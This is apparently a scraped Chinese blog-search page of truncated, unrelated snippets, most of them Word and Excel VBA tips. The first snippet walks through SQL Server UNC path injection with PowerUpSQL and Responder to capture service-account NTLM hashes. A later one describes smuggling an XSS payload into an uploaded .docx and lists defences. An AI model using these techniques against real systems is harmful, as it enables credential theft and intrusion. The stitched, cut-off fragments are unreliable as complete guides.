UNC路径注入 如果我们能强制SQL服务器连接到我们控制的SMB共享，连接将会包含认证数据。更具体的来说，将会发起一个NTLM认证，我们将能捕获到运行SQL服务的账户的密码hash。...，使用PowerUpSQL.ps1执行UNC路径注入，-CaptureIp为kali的IP： Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.3.104...使用PowerUpSQL.ps1执行UNC路径注入 如果成功，我们将能在kali上捕获到运行SQL服务的账户的密码hash： responder捕获hash Responder获得的hash是...server实例，然后对每个可访问的实例都会执行UNC路径注入。...首先使用discover发现域内存在的SQL server实例，然后使用set命令指定我们想要执行UNC路径注入的SQL实例，最后执行xp_dirtree存储过程： discover domainspn
大家好，又见面了，我是你们的朋友全栈君。 最近需要批量操作一些word文件，大约四十几个文件把。一个一个手动操作真的太low了，所以研究了一下word的宏，VBA编写代码，批量操作。...操作就是全选Word内容，给整体加一个书签PO_table。 选中文档中检测二字，加书签PO_jc。 选中 年 月 日，删除该选中内容。...Sub 批量操作WORD() Dim path As String Dim FileName As String Dim worddoc As Document Dim MyDir...As String MyDir = "C:\Users\CSY\Documents\Tencent Files\409023706\FileRecv\平台需要的\平台需要的" '文件夹路径根据需要自己修改...worddoc = Documents.Open(MyDir & "\" & FileName) worddoc.Activate Call my '调用宏,换成你自己宏的名字
标签：Word VBA 在Word中，有两类书签： 1.“占位符”书签（Placeholder Bookmarks），即在文档中单击某处，然后插入的书签。 2....“封闭”书签（Enclosing Bookmarks），即选择某文本后插入的书签。 有几种将文本插入到书签处的方法。使用的方法取决于后面是否要从书签处获取文本。...要获取书签处的文本，使用代码： strBookmark = ActiveDocument.Bookmarks("完美Excel").Range.Text 注意，这种情形下的书签应该是“封闭”书签。...如果书签已经是“封闭”书签，想替换其中的文本，该怎么办？VBA中没有可以实现这种要求的命令，需要做的是用插入的文本替换书签（此时书签会被删除），然后再围绕插入的文本重新创建书签。...ActiveDocument.Bookmarks.Add Name:="完美Excel", Range:=BookmarksRange 如果文档中有许多书签需要更新，那么上述代码会反复重复，因此最好的方案是将其作为带有参数的子程序供主程序调用
标签：Word VBA 下面介绍在Word中使用VBA操控剪贴板的一些代码，供在某些情形下参考使用。...MyData As DataObject Set MyData = New DataObject MyData.SetText "" MyData.PutInClipboard 下面的代码获取剪贴板中的文本...String strClip = "完美Excel" Set MyData = New DataObject MyData.SetText strClip MyData.PutInClipboard 很简单的一些代码...然而，一旦遇到要使用的情形时，如果了解，就能马上拿来使用。因此，收集在这里备用，也希望能够给有兴趣的朋友提供参考。...注意，在VBA中DataObject对象属于Forms库，因此，要使上述代码能够正常运行，必须满足以下两个条件之一： 1.在你的工程中至少有一个用户窗体。
标签：Word VBA 前言：专门讲Word VBA的文章很少，可能专门研究Word VBA的人不多，与Excel VBA相比，Word VBA似乎用处少一些，这可能是对Word VBA了解不多的缘故。...然而，无论如何，懂得一些Word VBA的知识，或者平时收集一些Word VBA代码，在需要用时或者在考虑解决方案时，往往能够起到作用。...这段时间利用休假空闲，零零星星了解一些Word VBA知识，收集于此，也在此与大家分享，希望日后有用。 今天的代码很简单，使用VBA给出当前光标或者选择的句子所在的页数，或者文档共有多少页。...当前光标所在的页号 使用下面的代码： Selection.Information(wdActiveEndPageNumber) 很简单！...后记：有兴趣的朋友，可以分享应用Word VBA的场景，我们共同边学习边研究。
当需要使用某个程序的时候，就一时会找不到。当然一般可以通过电脑的左下角“开始”去找到程序。...这里介绍使用VBA程序来找的方法，一个程序在安装的过程中，一般都会需要管理员权限，这是因为程序的安装一般都要在注册表中写入一些信息，而操作注册表需要管理员权限。...这些写入的信息就包括在安装过程中我们选择的程序安装路径，所以只需要使用VBA去读取相应的注册表信息就可以找到程序的安装路径： Function GetAppPath(AppName As String...) AppName = VBA.UCase$(AppName) If VBA.Right$(AppName, 4) ".EXE" Then AppName = AppName &...CurrentVersion\App Paths\" & AppName & "\Path") If Err.Number 0 Then GetAppPath = "没有找到[" & AppName & "]的安装路径
VBA是一种通用编程语言，适用于任何内置有VBA的应用程序，因此Word VBA与Excel VBA的语法一样，只是处理的对象模型不同。下面，我们通过一些示例语句及其作用描述来熟悉Word VBA。...（注：这些语句来源于作者早期发表的VBA语句集，长期关注作者的朋友可能会有印象） Application对象 (1) Application.ActivePrinter ‘获取当前打印机 (2) Application.Height...'当前应用程序文档的高度 (3) Application.Width ‘当前应用程序文档的宽度 (4) Application.Build ‘获取Word版本号和编译序号 (5)Application.Caption...‘当前应用程序名 (6)Application.DefaultSaveFormat '返回空字符串，表示Word文档 (7)Application.DisplayRecentFiles '返回是否显示最近使用的文档的状态...‘返回当前文档的水平位置 (11) Application.MacroContainer.FullName '返回当前文档名，包括所在路径 (12) Application.NormalTemplate.FullName
标签：Word VBA 在编辑Word文档时，经常会使用表格，也会设置表格格式，让表格看起来更美观。那么，在VBA中如何操作表格来设置其格式呢？...下面介绍两段简单的代码，来学习使用代码初步设置表格的格式。 代码1：设置整个表格的格式 下面的代码设置文档中第一个表格的格式，分别设置其单元格宽度、背景色、字体和字号。...下面的代码设置文档中第一个表格的第一单元格的宽度、背景色、字体和字号。...wdColorBrown .Range.Font.Name = "Arial" .Range.Font.Size = 10 End With End Sub 这些代码都很基础，主要是为学习和应用Word...VBA技术打开思路，有一些代码模板供参考和在此基础上进一步完善。
文章背景：在使用Excel的Userform时，有时想要打开指定路径的word文件。下面介绍打开word文件的一种方式。...示例： 命令按钮打开文件中的代码如下： Option Explicit Private Sub CommandButton1_Click() Dim docApp, path As String...1663654793&vid=wxv_1595932378013696000&format_id=10002&support_redirect=0&mmversion=false 参考资料： [1] 调试经验——使用VBA...在Excel中打开Word文档（https://blog.csdn.net/hpdlzu80100/article/details/80593099） [2] Documents.Open method...(Word)（https://docs.microsoft.com/en-us/office/vba/api/word.documents.open） 延伸阅读： [1] Excel 通过VBA代码打开
标签：Word VBA 本示例演示如何使用代码删除已排序表中第1列内容相同的行，代码如下： Sub DeleteTableDuplicateRows() Dim objTable As Table...Dim objRow As Range Dim objNextRow As Range Dim i As Long '指定想要操作的表格 Set objTable = ActiveDocument.Tables...objRow = objNextRow End If Next i '打开屏幕更新 Application.ScreenUpdating = True End Sub 本示例演示了如何使用VBA...代码在Word表格的单元格中移动的方法。...那么，对于没有排序过的表格，如何使用VBA删除重复行呢？
标签：Word VBA 下面是几段Word VBA程序代码，供需要时使用。...代码1：清除查找和替换对话框中的设置 通常，在我们使用Word的“查找和替换”功能进行查找和替换操作后，Word会保留这个设置，如果你后面无意中又执行了查找和替换操作，可能会得到你不想要的结果。...MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With End Sub 代码2：获取光标在文档页面中的位置...下面的代码可以得到光标在文档页面中的位置坐标： x = Selection.Information(wdHorizontalPositionRelativeToPage) y = Selection.Information...代码3：操作显示在最近使用的文件清单列表中文件数 在文件菜单中，会显示最近使用的文件清单。下面的代码可以设置在清单列表中显示的文件数量，或者阻止显示最近使用的文件，并且可以恢复原始设置。
最近遇到一个奇怪的问题，在Windows 7无法通过UNC路径连接到共享文件夹。...通过google找到了解决方法http://homeworksblog.wordpress.com/2010/06/12/unable-to-use-unc-share-win7/，方法就是删除所有叫做...Microsoft Device 6to4的网卡驱动，这个驱动大概几百个。...文章也介绍了可使用命令行工具DevCon ，但是不支持64位的Windows 7。...使用DevCon删除Microsoft Device 6to4的网卡驱动的步骤如下： 下载DevCon，解压到一个文件夹 使用管理员身份运行命令行，切换到DevCon的目录 输入命令行 devcon remove
一般可以使用通常的复制/粘贴操作，然而如果表很多的话，VBA就派上用场了。 演示数据 我们准备了3个表，如下图1至图3所示。 ? 图1 ? 图2 ?...图3 准备工作 我们需要将这3个表插入到名为“Excel报表.docx”的Word文档中。因为要分别插入到文档中指定位置，所以我们在要插入的位置定义书签。...在VBA编辑器中，单击“工具——引用”，找到并选取“Microsoft Word 16.0 Object Library”前的复选框，如下图5所示。 ?...图5 代码 在VBA编辑器中，插入一个新模块，输入下面的代码： '强制数组下标以1开始 Option Base 1 '将Excel表复制到一个新的Word文档 Sub ExcelTablesToWord...图6 应用小结 1.在Word中使用书签功能进行定位，并在代码中利用书签，是一种常用的技巧。 2.使用数组并将表名与书签名相对应，能够极大地方便代码的编写。
Function 进程路径(Optional exen) 'Debug.Print 进程路径("EXCEL.EXE") If IsMissing(exen) Then exen = "EXCEL.EXE...GetObject("WinMgmts:").InstancesOf("Win32_Process") For Each Pj In p If Pj.Description = exen Then 进程路径...= Pj.ExecutablePath Next End Function Function 进程命令(Optional exen) 'Debug.Print 进程路径("EXCEL.EXE")...For Each Pj In p If Pj.Description = exen Then 进程命令 = Pj.Commandline Next End Function Function 进程路径列表...(Optional exen) 'Debug.Print 进程路径列表("EXCEL.EXE") If IsMissing(exen) Then exen = "EXCEL.EXE" Set p =
标签：Word VBA 如果文档中设置了许多书签，如何清楚地看到它们并快速导航？一个好的方法是创建菜单实现，其中在菜单上为每个书签创建一个项目，这样在选取该项目时快速转到该书签。...ActiveDocument.Bookmarks(CommandBars.ActionControl.Caption).Range.Select End If End Sub 运行CreateBookMarkMenu过程后，将在Word...文档功能区“加载项”选项卡中出现一个名为“书签”的菜单，如下图1所示。...图1 单击书签下拉箭头，出现包含文档所有书签项的菜单，如下图2所示。 图2 单击某个书签，就会定位到文档该书签处。如果在文档中新增或删除了书签，单击“刷新列表”，菜单会更新。...当然，你可以对上述代码稍作改动，将其功能放置在已有的选项卡中或者右键快捷菜单中，这取决于你的使用习惯。
我想要一个可以根据需要经常重复的将Excel数据输入到Word，这意味着在复制完成后要重新创建书签。 在此情况下，我想要一些简单的东西，任何人都可以在没有技术知识的情况下进行设置。...因此，下面的这段代码很简单，对其进行设置，只需为Excel中的文本、区域和图表命名，并按照代码中的说明在Word书签中创建匹配的名称。 注意，我不能保证它在所有情况下都能工作。...完整的代码： '这里的代码使用书签将图表和表复制到Word文档中 'Word文档必须打开并处于活动状态,即当前可见的Word文档 '要复制一个表，给它一个以tbl开头的区域名称 '然后在Word文档中插入一个使用该名称的书签...'在给它一个名字时,最安全的是点击图表前按Ctrl '然后你在Word中包含一个具有此名称的书签,同样以 tag_ 为前缀 '运行下面的宏应该复制所有内容 '注意这种方法意味着不能多次插入相同的图表/...表格 '因为Word出于显而易见的原因不允许重复的书签名称 Dim WdApp As Object 'Word.Application Dim doc As Object 'Word.Document
用来上传的文件必须是一个有效的.docx文件，那基于浏览器的解析显示来说，它可能会把它转换为html格式来显示，那我能不能把它后缀作个更改呢？...由于这是.docx经直接把后缀更改为.zip的压缩格式文件包样例，我需要确定在上传或Web解析过程中某些不会被转储更改的区域，最后，我发现了这种docx变zip压缩格式包中的某些文件路径会保持原样，像下图这样...之后，再把这个zip格式后缀还原为docx格式，用UItraEdit查看hex代码，再在保持原样的区域中覆盖掉一些字节，插入我自己设置的JavaScript XSS代码： 上传时，服务器能正常接收这个经过构造的....docx文件，在HTTP POST过程中，我把它的后缀更改为.html后缀进行了最终上传： 向服务器请求这个文件时，它能被服务器解析为HTML文件，其中包含了完整的之前插入的XSS Payload代码...头信息； 控制文件下载时的其它操作情况，添加响应标头:“Content-Disposition: attachment”，以防止在浏览器中内嵌显示文件； 过滤掉所有包含HTML标签的上传，因为docx可经压缩篡改其中包含的
标签：Word VBA 在某些情况下，可能想知道在文档中每个字母有多少个，即字母a-Z中每个有多少，或者可能想找出特定文本中最常用的字母。...本文包括两个VBA宏，计算Word文档中每个字母或其他字符的数量。 程序1：在对话框中显示结果，其中按指定的顺序显示每个字符的计数。...'按你的需要编辑这个字符串 - 例如,添加要统计的数字. '不区分大小写....'按你的需要编辑这个字符串 - 例如,添加要统计的数字. '不区分大小写....使用VBA统计字符总数 代码为： ActiveDocument.Characters.Count 注：本文学习整理自thedoctools.com，供学习参考。
标签：Word VBA 如果要删除文档中存在内容重复的段落，怎么操作？当然，很简单，找到后直接选择重复的段落，按Delete键删除即可。...然而，这里存在两个问题：一是要找到重复内容的段落，二是如果文档很长重复段落比较多，这样不仅浪费时间而且容易遗漏。如果使用VBA编写程序，让计算机来帮你实现，既快又不会出错。...wdParagraph, Count:=1) '遍历直到没有段落要检查 Do While lngMovedAmount > 0 '如果两个段落相同, 则删除第二个 '然后添加其后的段落以便检查...lngMovedAmount = rngRange.MoveEnd(Unit:=wdParagraph, Count:=1) Else '如果两个段落不相同, 则将之后的
标签：Word VBA 代码1：选择表格内的单元格区域 使用Selection.SetRange语句来选择表格内指定的单元格区域。...示例代码： '检查光标是否处于表格内 If Selection.Information(wdWithInTable) = False Then Exit Sub '选择表格内第2行第2列到第3行第3列的单元格区域...运行代码后，在对话框中输入指定文本，删除表格中包含该文本的所有行。...objRow As Row If Selection.Information(wdWithInTable) = False Then Exit Sub strText = InputBox$("输入想要删除的文本...，可以使用代码获取合并的单元格占几行，代码如下： Dim objCell As Cell For Each objCell In ActiveDocument.Tables(1).Range.Cells
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
